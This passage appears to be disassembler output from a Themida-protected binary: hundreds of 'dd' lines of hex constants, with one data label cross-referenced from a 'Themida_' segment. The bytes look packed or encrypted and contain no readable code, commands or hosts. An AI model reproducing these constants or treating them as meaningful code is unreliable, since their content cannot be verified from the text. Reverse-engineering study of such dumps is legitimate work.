		dd 0B887EB49h, 23403B7Ch, 69EF9D26h, 1BCBF8CFh,	0CC49DA19h
		dd 2B3F43A6h, 0BC2B3A52h, 3A522BC2h, 94FFB813h,	0C7099AD7h
		dd 51B0302h, 2A311BD6h,	50DE441Eh, 0BFE020F1h, 71D7AEC2h
		dd 0EF6AF7F7h, 191BCF69h, 0CBF849DAh, 3F43A6CCh, 903A522Bh
		dd 8CC3923h, 0E995B27Ah
		dd 1C958F32h, 4F908DE0h, 31923192h, 43D8EB62h, 2C8F1971h
		dd 0C7EC26F9h, 0B732E9CAh, 6A8A0D00h, 5BFB6005h, 0E2AD5D34h
		dd 114ED120h, 0DD46F50h, 25BEB9B2h, 30A894DEh, 24073C43h
		dd 3C08F211h, 1BB8D927h, 69EF4360h, 43A6CCCFh, 3A522B3Fh
		dd 59682390h, 0F8079CDBh, 496AA77Ah, 191B3152h,	6FDAF8DAh
		dd 3A522B93h, 0EF9487E4h, 3E43D8EBh, 0A3B60AC3h, 319190DCh
		dd 1C724EB3h, 3CC7CB21h, 69EFB112h, 9F5647Eh, 443A522Bh
		dd 9EAA7C8h, 9D26E54Eh,	1D53191Bh, 0DDFDE7FBh, 0F8DEB50Eh
		dd 0DA191BCBh, 43ED29F8h, 0BD9EDA6Ch, 7675CEC8h, 0CCD8EBEDh
		dd 0FBF639F5h, 27E6E398h, 74A5C19Ah, 1FC98761h,	9792BF22h
		dd 100AB985h, 0AD5E8181h, 0EF863D16h, 71B37E69h, 82E11E00h
		dd 0BC38247Fh, 8754485Fh, 1B0FB467h, 0F849DA19h, 59191BCBh
		dd 642D4EC6h, 2AE4DE8Bh, 0A4353A52h, 18A94A6Dh,	0A87BD807h
		dd 4743D8EBh, 23295556h, 6E548B8Ch, 4EFFF7CBh, 30EB484Bh
		dd 6378A6B9h, 28EE5364h, 513C232Ch, 0EFC102B2h,	191BCF69h
		dd 2B14EE59h, 59003A52h, 3A522B65h, 71DA5DB6h, 0A2417EA0h
		dd 0F334F1C0h, 0CBF86BF8h, 49DA191Bh, 0F5CCD8EBh, 805F639h
		dd 0DBE885BCh, 1BCF69EFh, 0F849DA19h, 0DA191BCBh, 0AFA0CC49h
		dd 0F94E5985h, 0FA85CCBFh, 50A5EC43h, 0A42EF51Fh, 97FAA607h
		dd 70553620h, 7002FC87h, 150D60A1h, 0FB40FD2h, 0E97A7152h
		dd 0B37E69EFh, 3A04B377h, 8B3A522Bh, 0E5BEC320h, 0A6CC9D26h
		dd 522B3F43h, 6823903Ah, 79CDB59h, 0F5CCCBF8h, 96F9F83Fh
		dd 2146BCE5h, 0CCD8EB92h, 0F39819A0h, 3D25A70Ch, 522AA89Ah
		dd 0E19AF93Ah, 6AC9F1CBh, 0D90A34F3h, 7071B273h, 0ACB7B40Fh
		dd 0B37E69EFh, 370BAE6Ch, 883A522Bh, 0E6C9C82Bh, 0A6CC8E35h
		dd 522B3F43h, 5EC7253Ah, 0B1D41C3Dh, 7DA516F6h,	0B5E4A47Fh
		dd 98215D0Eh, 49DA191Bh, 0F5CCD8EBh, 99FAF738h,	23BDE7E2h
		dd 0C7DCFA62h, 6CC524B8h, 0F31469F9h, 0DE69F235h, 0CF69EFE5h
		dd 0FA3DF5CCh, 0C2DF9CF7h, 0F12EF140h, 2028FF0h, 0F8B182E1h
		dd 0DA191BCBh, 43A6CC49h, 3A522B3Fh, 29682390h,	0F8A0CC96h
		dd 9076149Eh, 444D3198h, 359E3A51h, 0C28AE8Eh, 0AE4A1D3Ch
		dd 4D72A4BDh, 49A0CC76h, 6158C3C3h, 95987EF2h, 0F712E6A7h
		dd 0CC313A04h, 6C5AA0A0h, 2FEC28D3h, 0C0539092h, 51BCBF8h
		dd 0D8EB4DD6h, 3F43A6CCh, 903A522Bh, 0C1056823h, 0EFAE1540h
		dd 51BCF69h, 7AF84DD6h,	48496AA7h, 0CC0FB467h, 0F7FA3DF5h
		dd 0EB0C059Ch, 508F9130h, 11789F72h, 7B70D314h,	43D8EBE8h
		dd 0AB70722Ah, 36C6AAB7h, 87E65BF5h, 9DA4628Bh,	0ED31012h
		dd 44DFB6B5h, 0A6CCB112h, 522B3F43h, 6823903Ah,	1B91AB2Dh
		dd 0F84DD605h, 0D6051BCBh, 38F5CC4Dh, 0D12D04F7h, 2B7648EFh
		dd 6CC73A52h, 8B4314AFh, 569A74ECh, 393EC2ADh, 7B6A5E41h
		dd 774A7C33h, 0E47978BBh, 0A708092Eh, 130D4F4Ch, 0A9B88A2Dh
		dd 36F37A0Ch, 1493ECF5h, 129FC4B7h, 0CF69EFB1h,	4DD6051Bh
		dd 51BCBF8h, 0D8EB4DD6h, 243A0CCh, 282B13CDh, 9B567673h
		dd 0F325DDE9h, 0ABF77475h, 0BC2022C5h, 27135FFh, 0F7D95309h
		dd 0FFBC6E50h, 36245435h, 0A2837100h, 0D4D5C625h, 5A745D7Fh
		dd 71B26E41h, 12801B7Ah, 0CF69EFB1h, 4DD6051Bh,	0F83FF5CCh
		dd 99E596F9h, 84A0CC10h, 4C278032h, 0DF0BAEE1h,	0E1B2ACFDh
		dd 5A81972Ah, 0CCD8EBC9h, 0F6F11AA0h, 851CB6EFh, 4DA66B8Ch
		dd 0D1555B4Eh, 0B7DCF7C9h, 5E8E79BEh, 17EB4E74h, 686B3897h
		dd 96E3DF8Ah, 0D7346B38h, 0C20A7F7Ch, 1D7AD5C6h, 0EFE5DE82h
		dd 72B37E69h, 1B293A31h, 0F84DD605h, 0D6051BCBh, 1BD8EB4Dh
		dd 0F84CD704h, 0D6051BCBh, 0CDF225FCh, 0CBF8B5CEh, 1DCCAA19h
		dd 0B7CB3ADEh, 0B110CCC7h, 93AD9937h, 1255A24h,	4B40AB42h
		dd 0B01F705Eh, 0FA596E49h, 1BD8EB29h, 0EB4CD704h, 0EFE5DED8h
		dd 0AA19CF69h, 0F4F61DCCh, 0C4AFD2FFh, 51FFB4D6h, 0D62FE6ECh
		dd 79088F7Ch, 197A77B8h, 0F5CCE9BAh, 83D5F738h,	8E9921F3h
		dd 0A61101FAh, 1EA493A5h, 2EC6C476h, 0A676A98h,	7D71AA8Ah
		dd 8AB167F2h, 77402C87h, 0F19B916Eh, 0F8C053F0h, 50041BCBh
		dd 0FD148778h, 5E358E4Bh, 0A6CCCBF8h, 0A7999DC6h, 600981F8h
		dd 3A51325Eh, 3A4744AFh, 0CCEBB8FBh, 0E22330A0h, 51918B77h
		dd 4D6FDC3Ah, 4645A6E8h, 0A6CC6B18h, 522B3F43h,	6823903Ah
		dd 0C97D859h, 456387EBh, 0EFDF3F43h, 0CC68FBF0h, 4511CBA0h
		dd 21DA65B1h, 44CEB1A8h, 7DA5EC1h, 0F2DA1BEEh, 47AA9C1Ah
		dd 49C55C86h, 93886B26h, 4D62BF22h, 0E675C921h,	0A0CCE5DEh
		dd 1913D77h, 9CD992ADh,	1A1B003Ah, 0CBF84AD9h, 4DD6051Bh
		dd 0C439F5CCh, 886B2649h, 4E6130EBh, 9DD74143h,	0CCD9A0A3h
		dd 4DB40C94h, 0F7E39E7Dh, 51B2DB6h, 0CBF84DD6h,	0FB3CF5CCh
		dd 0C3DE9DF6h, 0EB951E5Dh, 302C7D8h, 0E4628AE8h, 62B0A068h
		dd 14C5FB5Ch, 78E3E628h, 5212EDD1h, 6ED53E3Ah, 69EFE67Dh
		dd 0D6051BCFh, 8F73D6FCh, 0E03A522Bh, 16E84F73h, 673A522Bh
		dd 0F8740F0Ch, 0D6051BCBh, 6387EB4Dh, 9CF39F11h, 0ADB6B5C0h
		dd 98B7A543h, 0F7A5C5BAh, 83A0621Fh, 0EE509D59h, 0C1C0E323h
		dd 0C0BC2DDEh, 0B0203C51h, 70423E1h, 1C9E5255h,	0E6B1C2EFh
		dd 1BD6051Bh, 0A76A9186h, 125C7A19h, 69EF4754h,	23F5CCCFh
		dd 0BC62FFFCh, 0CC77637Fh, 0F0E05635h, 77DC1B19h, 7AF8DF84h
		dd 2B0DF158h, 0CA483A52h, 978F2AADh, 91328D54h,	1A1BC9DAh
		dd 0A0CC4AD9h, 6CA0D664h, 0EF30ED2Ch, 0C9DA9754h, 0F8DA191Bh
		dd 2B936FDAh, 87E43A52h, 0D8EBEF94h, 0A4D85743h, 0EAA8A73h
		dd 0B2173247h, 0DCE32346h, 191BEEC9h, 0CBF849DAh, 68A8191Bh
		dd 0ACC6AC47h, 522B413Dh, 11B8923Ah, 3A522B2Dh,	0BDAE157Eh
		dd 0B887EBA6h, 5B343D7Ah, 0F5CC03A0h, 294ACB22h, 2FEC8768h
		dd 157C8B3Eh, 0CF69EFAEh, 49DA191Bh, 6FA77AF8h,	0B16A454Ch
		dd 59191B12h, 0BF2A51C6h, 3A522BC3h, 6A8D8514h,	1AA74CA7h
		dd 0B81BD605h, 0AA68371Bh, 702B848Dh, 0B887EB53h, 84C3AF79h
		dd 912C7C4Dh, 97542F32h, 6F26430Ch, 0FBB12A6h, 0D0D7F448h
		dd 24CBFAE2h, 11C28379h, 0DA0288B1h, 0DE9D7B86h, 2F0DDCEBh
		dd 0B5243E64h, 73E130C9h, 5E857F1Ah, 0E8A340A3h, 58FFE10Dh
		dd 73E13066h, 926CDBB7h, 0E373E130h, 9330EB88h,	14DD1E1Bh
		dd 0AA678889h, 0F597F16h, 69EF4A57h, 0DA191BCFh, 1BCBF849h
		dd 0EB4AD91Ah, 43A6CCD8h, 3A522B3Fh, 81682390h,	6575C15h
		dd 0C98BB48h, 0CAA88278h, 8D5E231Fh, 64177464h,	0C89DEE65h
		dd 2A1230B6h, 9CF18063h, 3608B144h, 871251F8h, 2F37D5A5h
		dd 5CF78ED6h, 1B8B189Fh, 26F9D91Ah, 0B3D0CBF0h,	0F83FF5CCh
		dd 0B0B96F9h, 3E6B33E8h, 3F43A6CCh, 7A3A522Bh, 1FBA7DBEh
		dd 4220C3F8h, 522BAB97h, 0DC8FFC3Ah, 9B284FC5h,	1A1BD8EBh
		dd 0A74C6FA7h, 1BD8EB1Ch, 42954F05h, 0F8F4D76Fh, 0A0B965Bh
		dd 9A397AB7h, 4C8A89D7h, 0EF3D8622h, 191BCF69h,	0CBF849DAh
		dd 87EBAA19h, 2B04FE69h, 0F6553A52h, 0A0CC5E05h, 0FE0D8603h
		dd 0C5DC8F74h, 0F8982B4Ch, 437350CBh, 0C750B6C2h, 35FCA21Fh
		dd 0D0AE13DDh, 29DA546Bh, 0EFB1129Ah, 72B37E69h, 9C4F3031h
		dd 1B8C3707h, 1776A819h, 0BC17DA01h, 0B28C3B17h, 33A522Bh
		dd 0EB784BA8h, 0EF0643D8h, 0E0DBAE11h, 406B346h, 0D4FCC4A1h
		dd 0DEE38CD5h, 42D0A894h
		dd 3E88CD5Ch, 0A6CC364Dh, 522B3F43h, 0C2BC2B3Ah, 133A522Bh
		dd 0D794FFB8h, 1BFE389Eh, 0D4F8DA19h, 66050E23h, 0CFF4A74Eh
		dd 191BCBF8h, 0D8EB49DAh, 10D2A0CCh, 0A3A99544h, 91FA3A51h
		dd 349C9BABh, 0C8EB2A37h, 43A6CCFBh, 3A522B3Fh,	36682390h
		dd 43A6CC8Dh, 3A522B3Fh, 7C2A8A25h, 4E09D7D6h, 999B26E5h
		dd 0C6CBEC28h, 0F8BD86EDh, 775E527Ah, 1625852Eh, 51B3E65h
		dd 0D8EB4DD6h, 0FD22F5CCh, 0E9E09BF4h, 54C00FBCh, 7E7A69D1h
		dd 0E45FC278h, 0CED047F9h, 297945F4h, 61CABE4Ch, 12C9F2AAh
		dd 1354D160h, 69EF4B58h, 4F051BCFh, 0D1319F4h, 8CB013CEh
		dd 0ED32EA4Bh, 0E5AE15AEh, 51BCBF8h, 0D8EB4DD6h, 6BA71A1Bh
		dd 7BD81B16h, 9CB61D76h, 2650905h, 3A522B00h, 8081E251h
		dd 0EB576C1Fh, 0EFD3F0D8h, 51BCF69h, 0A0CC4DD6h, 2F43718h
		dd 306E2D75h, 52A75F32h, 0EED190D3h, 38338C55h,	0D6051B2Bh
		dd 43D8EB4Dh, 78C15782h, 0F30B1A5Fh, 17099834h,	9CDB59E8h
		dd 0E571D8DFh, 4BD047FAh, 0CCD3F022h, 211DCCA6h, 723A522Bh
		dd 2BCEB019h, 0B41F3A52h, 8D587EB7h, 2E00302h, 522B6B57h
		dd 9C4FBC3Ah, 0D6051B07h, 1BCBF84Dh, 5C8F521Ah,	41E14C1Dh
		dd 0CBF811A2h, 0C83DF5CCh, 0D0CB2857h, 12306FB1h, 44C1382Ah
		dd 2AE122AEh, 0CCD8EB99h, 2B3F43A6h, 23903A52h,	0AEE68168h
		dd 0CA77DA0Dh, 380BCA8Dh, 0C3D3AF1Ah, 0DFB92962h, 0F8CA6D92h
		dd 140764E3h, 25784548h, 0E7902E8Dh, 69EFB112h,	0D6051BCFh
		dd 0CCCBF84Dh, 4F738F5h, 0B083A45Dh, 51BD8EBh, 87EB4DD6h
		dd 383966B8h, 1BFFA457h, 8815DC1Fh, 0EFA76A8Dh,	3C4822A4h
		dd 0CF69EF83h, 4AD91A1Bh, 0AA19CBF8h, 1DCCA6CCh, 3A522B21h
		dd 0CEB01972h, 1F3A522Bh, 9D648782h, 0A7EAA142h, 0D6051B1Ch
		dd 50CBF84Dh, 796F4373h, 0F172E780h, 1BBE326Ah,	0A46D9284h
		dd 56AFB2C4h, 0C82B7D00h, 5BE6C4D3h, 0E4E596C5h, 7DD88581h
		dd 1F1B7704h, 898815DCh, 0BED5AB66h, 183ACE98h,	569E6734h
		dd 0F0B09CDFh, 7B0803ECh, 3F43A6CCh, 903A522Bh,	0AB2D6823h
		dd 22F5CC91h, 0E09BF4FDh, 103F52DDh, 0D8EBDEB5h, 0BC093343h
		dd 0B478AE82h, 2A9F5515h, 0D7CA64AAh, 8E35CC57h, 0F3CF69EFh
		dd 69666B48h, 46DA3h, 0A8431800h, 3930FB54h, 7668B70Eh
		dd 0F2CD0F92h, 51EA4CFFh, 49DA191Bh, 0AA19D8EBh, 1E271DCCh
		dd 0B37E6752h, 6B878768h, 91AEC9F1h, 0D410C378h, 64F9B217h
		dd 0AD93E052h, 0E7EA380Ah, 712A8945h, 0B182F166h, 0F1587AF8h
		dd 3A522B0Dh, 6DF6F55Eh, 0B5462343h, 972EBEE7h,	6D70AF53h
		dd 0DF8BF617h, 191BBF5Ch, 0CBF849DAh, 4DD6051Bh
dword_6A0B68	dd 5943D8EBh, 88B275FFh, 3572BAAFh, 0E6D9B0Eh, 0A932C4CEh
					; DATA XREF: Themida_:0061241Do
		dd 743CF5CCh, 765856CCh, 514AA967h, 0E2B1EE30h,	0AA19CBF8h
		dd 5351A0CCh, 0FD21510h, 0C6B088B4h, 4F1255D1h,	361CCF74h
		dd 983F8E93h, 0DFBD33B6h, 0EDCD381Ch, 3AC58C2Fh, 1769530Eh
		dd 97C4A5E4h, 908AD2C9h, 4B1AB9ACh, 0DF9C6083h,	2CF77DEAh
		dd 57B4C946h, 0CCD8EBCCh, 2B3F43A6h, 9C903A52h,	74697D9Fh
		dd 31EA8965h, 0C2518E90h, 0FD22F5CCh, 88B769F4h, 4E6130EBh
		dd 69EFD3F0h, 0CCAA19CFh, 0DD1E1BA6h, 0C9C0BB14h, 0D79CD863h
		dd 43649C73h, 51CC653Eh, 7C6C5D0Eh, 0BE0DFDE2h,	65606FDBh
		dd 2309CE58h, 20C2C248h, 8310B36Fh, 1A1BA6CCh, 88A722D9h
		dd 917A7917h, 3C7B6BF3h, 245BBC53h, 0E89825Dh, 63FEAC9Bh
		dd 8E7CF335h, 522C572Bh, 0A84BA83Ah, 0C63BF7CAh, 0D1CA294Ah
		dd 0CCCBF8B2h, 0FB3CF5h, 0B380BF61h, 0CF6A0CCh,	35E05E12h
		dd 197B0836h, 1BA6CCAAh, 0B91AD704h, 889F7E93h,	9A51B13Eh
		dd 0FC8B4B2Fh, 0FB8DBE88h, 8E113D0Eh, 9CFD5A85h, 0C350BB34h
		dd 191BD8EBh, 0F5CC49DAh, 2C05F639h, 0EFB11223h, 0F5647E69h
		dd 3A522B09h, 2B7052F5h, 52C13A52h, 0DE8576D5h,	0F5CCAA19h
		dd 99FAF738h, 0AC839AB3h, 9A51C93Eh, 0E079AB8h,	989924EDh
		dd 9A399A57h, 0F2CCE8E1h, 0A7C39EEEh, 0ED20EC0Ah, 0E126DEEAh
		dd 0F85368A3h, 0DA1DCC2Bh, 0CB8B3597h, 2578E7FDh, 0D7658407h
		dd 0B025C23Dh, 953B1F43h, 0A705BF74h, 0CCAED5C6h, 0FAF738F5h
		dd 0F9CE299h, 50C65919h, 8E8D662Bh, 0AE1DCCF5h,	0F7B9F5AAh
		dd 2C2BE093h, 8D9BBF99h, 0CC8377E0h, 7D84A762h,	729BC122h
		dd 46CDA482h, 0DFDCCDBEh, 0FB5757B6h, 7DF23921h, 46CBB722h
		dd 0AF1C3B0Ah, 911EFC8Dh, 0A56EDDDAh, 0F5CCD8EBh, 0EFD37638h
		dd 403A522Ah, 0E7170D3h, 0F53C5F2Eh, 8D7EB06Dh,	0DC3A5C1Ch
		dd 81064B8Eh, 0F2576513h, 9BFFC844h, 0B1128E2Dh, 19CF69EFh
		dd 0EED07759h, 3F3A522Ah, 0CC8C17D4h, 18C81E1Dh, 9FE8877Ch
		dd 527A6C40h, 1AFC1330h, 636358Ch, 1689402Ch, 745AE5C3h
		dd 4BD67DA2h, 0F6F3A8CBh, 0B6C4DF3Ch, 7A49A22Dh, 0CA9B1DCCh
		dd 0E10AB042h, 7BED67DEh, 29B55F4Fh, 0F1967488h, 6EB29AD3h
		dd 2F8685A0h, 3661743h,	6EFF5DB0h, 82050C7Dh, 744BF852h
		dd 6F53F6B8h, 0C03E64E8h, 8EF1F053h, 22DF1C03h,	64EBCAC1h
		dd 0CFCB3580h, 0EB2A443Bh, 8DE6C9C8h, 0CBF85DE6h, 18D91A1Bh
		dd 628AE8B7h, 255602B6h, 0EE958608h, 0F5CCD8EBh, 9DF6FB3Ch
		dd 28E90E04h, 77ADD4C7h, 0CBF86330h, 46DD1E1Bh,	0A6CCD8EBh
		dd 2B211DCCh, 19723A52h, 522BCEB0h, 330FBA3Ah, 843A522Bh
		dd 6E43B027h, 126D74B7h, 1BA47D59h, 0F846DD1Eh,	0DD1E1BCBh
		dd 6987EB46h, 522B04FEh, 49C4553Ah, 0B5CECD26h,	2D2BDB43h
		dd 0DEB18F47h, 0A5FE0338h, 772A4A34h, 6D92852Dh, 1F8A81EAh
		dd 0A7613E93h, 28D0C6C9h, 0EA79209Ch, 15DC1F1Bh, 0A66B8C88h
		dd 0F5A3744Dh, 0D76F4D0h, 0BCC51E70h, 0DF89CF86h, 0BE432749h
		dd 4E554863h, 0EF0EB566h, 1E1BCF69h, 0F7370256h, 92D3F93Ah
		dd 7AD1FBDAh, 0CFEE1477h, 0F89122C1h, 0DD1E1BCBh, 43D8EB46h
		dd 8B4DD3ECh, 9A2392F5h, 0BC7AEF14h, 4039CAE9h,	7873B471h
		dd 0B112BBC4h, 0CCCF69EFh, 0FEFD22F5h, 0D653A663h, 0C772CC95h
		dd 3A522AFBh, 0DF84DF4Ch, 0A77AF854h, 3053486Bh, 0D8EBAA19h
		dd 69AB1E1Bh, 76C474Ah,	19D8EB3Ch, 7F1DCCAAh, 0AF3C769Ch
		dd 0B95C2691h, 3EAD382Dh, 6B535C4Dh, 5FC23CA6h,	3A522ABEh
		dd 0C053C077h, 0CA23F5CCh, 0CAC72C4Fh, 353C7FB7h, 3C02F95Ah
		dd 561E1B2Fh, 97FF7A25h, 371BB8ACh, 68D4AE19h, 0C6253A51h
		dd 0CBF8AED5h, 0AA198C37h, 1B1BD8EBh, 0CBF84BD8h, 6DA8191Bh
		dd 0F6C9A94Ah, 65FEFD3Eh, 7350D8EBh, 69A8191Bh,	0B684B46h
		dd 0BCA0CC38h, 18684876h, 4E3097BBh, 9F3A51DCh,	29073734h
		dd 0A15A8196h, 0A5041B02h, 1BA84B6Ch, 8E43D8EBh, 531BCF2Dh
		dd 800FE88Fh, 7C048265h, 6912A70Dh, 4CD7041Bh, 41BCBF8h
		dd 7FCFFBD7h, 278809F1h, 6C0734EBh, 0D8EB14AFh,	57948E43h
		dd 0BB1C5334h, 0F5D8BACCh, 455239A6h, 863DF982h, 0CCCF69EFh
		dd 2B3F43A6h, 9C903A52h, 443B5FC9h, 5F65D12h, 0AF84BB5Ch
		dd 7038F5CCh, 0D6AB0421h, 8F8CE7FAh, 41BA2CFh, 0D8EB4CD7h
		dd 69EF9D26h, 0DB7E647Eh, 3A522AE7h, 946EDB38h,	0E53A522Bh
		dd 0F8EE9586h, 48BC527Ah, 8BFB3848h, 41BF390h, 0D8EB4CD7h
		dd 92B000C7h, 522B5B27h, 9EA0473Ah, 0EF3A522Bh,	0B368C384h
		dd 0D91A1B10h, 66898518h, 587E15ABh, 0EF43500Eh, 0F5647E69h
		dd 3A522B09h, 69FAF15Ah, 4CD7041Bh, 0A6CCCBF8h,	2B211DCCh
		dd 19723A52h, 522BCEB0h, 0B7B41F3Ah, 7D4675AAh,	0C7D8EBh
		dd 0EFAE1501h, 41BCF69h, 0CBF84CD7h, 4CD7041Bh,	2C1D8EBh
		dd 0C9587AF8h, 8D662B4Ch, 522AE2DCh, 0FAD8333Ah, 522B734Fh
		dd 0B467C43Ah, 0DC1F1B0Fh, 7241D6F6h, 0CE8F3CE3h, 0D172DBA2h
		dd 8A81E200h, 43D8EBF9h, 59D3404Fh, 7CC17292h, 0A2A10425h
		dd 0AE69CA08h, 0DA0CC05h, 685AFD14h, 0B93A51A0h, 0DA2F725Ah
		dd 0FE3A4744h, 0CBB95BDh, 3A51DE32h, 736EB16Dh,	3F3C9710h
		dd 1BCBF824h, 0EB4CD704h, 0DC1F1BD8h, 1BD8EB47h, 861BD605h
		dd 0FA56C8Fh, 8C2C4680h, 0CF69EF33h, 4CD7041Bh,	0F83FF5CCh
		dd 99E596F9h, 0DC1F1B10h, 1BCBF847h, 0EB49DA19h, 0D7041BD8h
		dd 43A6CC4Ch, 3A522B3Fh, 29682390h, 7DBE7A45h, 8B861B74h
		dd 5546A968h, 0CCB1122Eh, 0CE018FA0h, 752B1152h, 0C0958632h
		dd 191BBC86h, 0CBF849DAh, 0D8EBAA19h, 0F356041Bh, 3A522B0Fh
		dd 0C350F360h, 6AA77AF8h, 50315249h, 0B59A4373h, 0C94762DDh
		dd 9C4EB8D6h, 4E2B5A29h, 125D66E9h, 38F5CCB1h, 173104F7h
		dd 1B8C372Dh, 64BF5319h, 0B5066049h, 0A45D340Eh, 66257E83h
		dd 39F5CC5Dh, 0B017FBF6h, 3A522BCEh, 330FB41Fh,	522BBA84h
		dd 0EBA00B3Ah, 6431DA6h, 0DB8A1B92h, 0F6E3228h,	397FAA92h
		dd 8145A98Dh, 0A36DECD6h, 75CE3DC5h, 0BE880176h, 0C43A5243h
		dd 0D91A1BBBh, 6B8C8518h, 5D7B1AA6h, 0CC2C7513h, 8D1183A0h
		dd 0C5B61BE5h, 0AF9B5670h, 4A0771FDh, 3A05B7Fh,	0F8DA191Bh
		dd 9C4BEB29h, 3A522BA2h, 403B98F3h, 31A0CC23h, 0CF64DB88h
		dd 0F380BEBDh, 0A0CCAA19h, 67B847A9h, 76563938h, 0FBF010DBh
		dd 191B2D36h, 87EB49DAh, 2B04FE69h, 0F6553A52h,	1DCC5E05h
		dd 3A522B21h, 96881972h, 7847A869h, 0CAF127FAh,	0A6CCB2D1h
		dd 44DD1E1Bh, 7E8A9CEh,	79EB9514h, 24CA40B5h, 0B83892BAh
		dd 0FF532F9Ah, 47A42F4Ah, 0D8674354h, 4E309747h, 9F2F4AFFh
		dd 0EDDC8F34h, 3A522A7Bh, 0DA7D63BDh, 2443D2E8h, 9621DA39h
		dd 8C3B153Dh, 2443D3B2h, 78BB7603h, 0BEBD1679h,	43A6CCA5h
		dd 3A522B3Fh, 0BA7DBE7Ah, 1EC5E61Fh, 0CC88316Dh, 3F83FF5h
		dd 0B47FA45Eh, 0F83FF5CCh, 0E0B96F9h, 0D0CB24EDh, 34A8948Eh
		dd 81C64087h, 0CC711209h, 0BA6C4EA0h, 0F9357934h, 5F5E1DB6h
		dd 0DA191BD4h, 16A9CA47h, 0B887EBADh, 5D363B7Ch, 0AA19059Eh
		dd 1A1BD8EBh, 0F126F9D9h, 4B9BB943h, 0D77CB823h, 0D2E77F5h
		dd 5546F575h, 3FF5CC2Eh, 0B215F9F8h, 3A522BD0h,	5A11B221h
		dd 0F5CC9724h, 99FAF738h, 4327F4E2h, 9ED4920Dh,	0F977E0D4h
		dd 0B8876346h, 46433867h, 7A51E59Ch, 7C2D2448h,	38887ADDh
		dd 7AD94EFAh, 20D80B52h
		dd 8E539491h, 7D063635h, 0A0CCB112h, 0AC4DFDC3h, 4B0A01BAh
		dd 0A6CC330Dh, 522B3F43h, 6823903Ah, 51BCA75h, 48496EA4h
		dd 185BDA67h, 0D8EBE8BBh, 51B7350h, 73D6FCD6h, 3A522B8Fh
		dd 4678A075h, 6CEB58A0h, 0F8770CFFh, 0D6051BCBh, 9FA0CC4Dh
		dd 8E596915h, 4EA0826Ah, 0FAFCE12Ch, 0CC1F3001h, 0F7FA3DF5h
		dd 0DEEADF9Ch, 0B51949D0h, 0CFDBC39Ah, 2B75E049h, 545D3A52h
		dd 4ED16012h, 536F5011h, 522B1AE4h, 0B006B3Ah, 0CF69EF78h
		dd 4DD6051Bh, 6EA77AF8h, 0C0C2254Dh, 113A522Bh,	1BDAE9A2h
		dd 0EB46DD1Eh, 0D1BA43D8h, 4D2799B1h, 0D8DB852Eh, 0B01FA865h
		dd 1B1EF932h, 0DBF5DD1Eh, 522B926Ch, 9388E33Ah,	1BCBF8F0h
		dd 0CC46DD1Eh, 0D37638F5h, 3A522AEFh, 7B70D340h, 0A6CCADB6h
		dd 522B3F43h, 6823903Ah, 0A61D7E81h, 0B47DFD7h,	7BEEEFDEh
		dd 7A924617h, 685AFDE3h, 0B919AA87h, 8D16A15Ah,	17DA191Bh
		dd 0A66B888Ah, 135D7B1Ah, 0F5CC5C65h, 11FBF639h, 9DE5A347h
		dd 9655EEEFh, 546E79DFh, 51D519E5h, 0A016A3Ah, 0DD1E1B79h
		dd 1BCBF846h, 0EB46DD1Eh, 2C5F43D8h, 0C82D88Bh,	0E0F7B61Ch
		dd 0A460D551h, 0BE257E83h, 0CD0C8FCDh, 836750FEh, 2C356AACh
		dd 0F6C86F53h, 4719A772h, 446D2FECh, 1BD6051Bh,	0A66B9086h
		dd 4923A5F0h, 0E82AF577h, 2EEDC6CBh, 0CF69EF95h, 46DD1E1Bh
		dd 1E1BCBF8h, 0D8EB46DDh, 87F1F443h, 0C434EDDDh, 0CA3FFD01h
		dd 47FB710Dh, 94DEC952h, 0D32ACA8h, 48EDCF10h, 56CC6537h
		dd 0CC495A11h, 0FEFD22F5h, 1B271137h, 11ED5C1Eh, 0FD3A522Bh
		dd 522B685Ah, 0DD5AB93Ah, 0F83ED56Eh, 4F051BCBh, 152DD163h
		dd 764DA629h, 0FD22F5CCh, 432033FEh, 51F837B3h,	0D2AE8B7h
		dd 8E4E9B0Eh, 93162A35h, 772C93E5h, 75E4FEE8h, 0BF18CB89h
		dd 0E97A71DAh, 1AD7041Bh, 2BAD9138h, 95FE3A52h,	1FE205FCh
		dd 4E183E55h, 69EFE9BAh, 0D6051BCFh, 0CCCBF84Dh, 0CD7C22F5h
		dd 3A522AF1h, 878AE942h, 0CC526F2Ch, 0D8EB048Fh, 3F43A6CCh
		dd 903A522Bh, 0E8816823h, 7575D197h, 24E0EF02h,	0B4BDCA7Fh
		dd 0F7841331h, 69EFD3F0h, 0D6051BCFh, 1BCBF84Dh, 25FCD605h
		dd 41A8CAEDh, 3A522B3Dh, 5D66258Eh, 1C6387EBh, 3ABBEE8Eh
		dd 1B881BD0h, 0EB46DD1Eh, 0CCB112D8h, 2B3F43A6h, 0BA7A3A52h
		dd 0A0177879h, 0DBFD3833h, 0D6051B61h, 0A77AF84Dh, 0B723496Ah
		dd 0C6625175h, 1BABB8B3h, 25FCD605h, 0E8CBC6E9h, 0D8EB9033h
		dd 0FA3DF5CCh, 65228801h, 6FAD86C1h, 4911284Bh,	95218D46h
		dd 1241DA49h, 43A6CCB1h, 3A522B3Fh, 7978BB7Ah, 3932A116h
		dd 0CC60DAFCh, 0FAF738F5h, 59BFE299h, 52F12EF0h, 38F5CCC1h
		dd 0E299FAF7h, 51B0F9Ch, 0D8EB4DD6h, 38BA9943h,	255B4868h
		dd 0ADA783A6h, 7C773DE2h, 11A126CAh, 278889EAh,	53037574h
		dd 9C25FFC7h, 0F5CCD3F0h, 37FEFD22h, 51B2711h, 13A3794Fh
		dd 6ED5AEBCh, 0A77AF8A5h, 6D464B70h, 0F5CC15AEh, 9AF5FC23h
		dd 2245C0E1h, 0C6CBF891h, 1FB68A8Eh, 0C8F3CC85h, 67B887EBh
		dd 1B204338h, 0EB4DD605h, 0CCAA19D8h, 0FB3CF5h,	0A65CA712h
		dd 8EBD5CF0h, 0E0645151h, 126B5702h, 1DBCCB16h,	6724BFE0h
		dd 0F73FDB8Eh, 0A47B3919h, 3548496Eh, 0D9BAB7F8h, 3A14817Ah
		dd 6137C312h, 0BA875906h, 5D363B78h, 0E9BA199Eh, 0F5CCCBF8h
		dd 96F9F83Fh, 0F35ABCE5h, 0DF1F033h, 522BD8AAh,	29CA293Ah
		dd 0F5CCF9CAh, 99FAF738h, 0CC0F9CE2h, 81733DF5h, 0A1D023A3h
		dd 0FD5F22C1h, 25C76E3Dh, 1EDD76EFh, 6F54149Fh,	0E2511B1Bh
		dd 3B40AC3Dh, 99F9F85Bh, 6DB306FEh, 0F6D9952Eh,	4A4004FFh
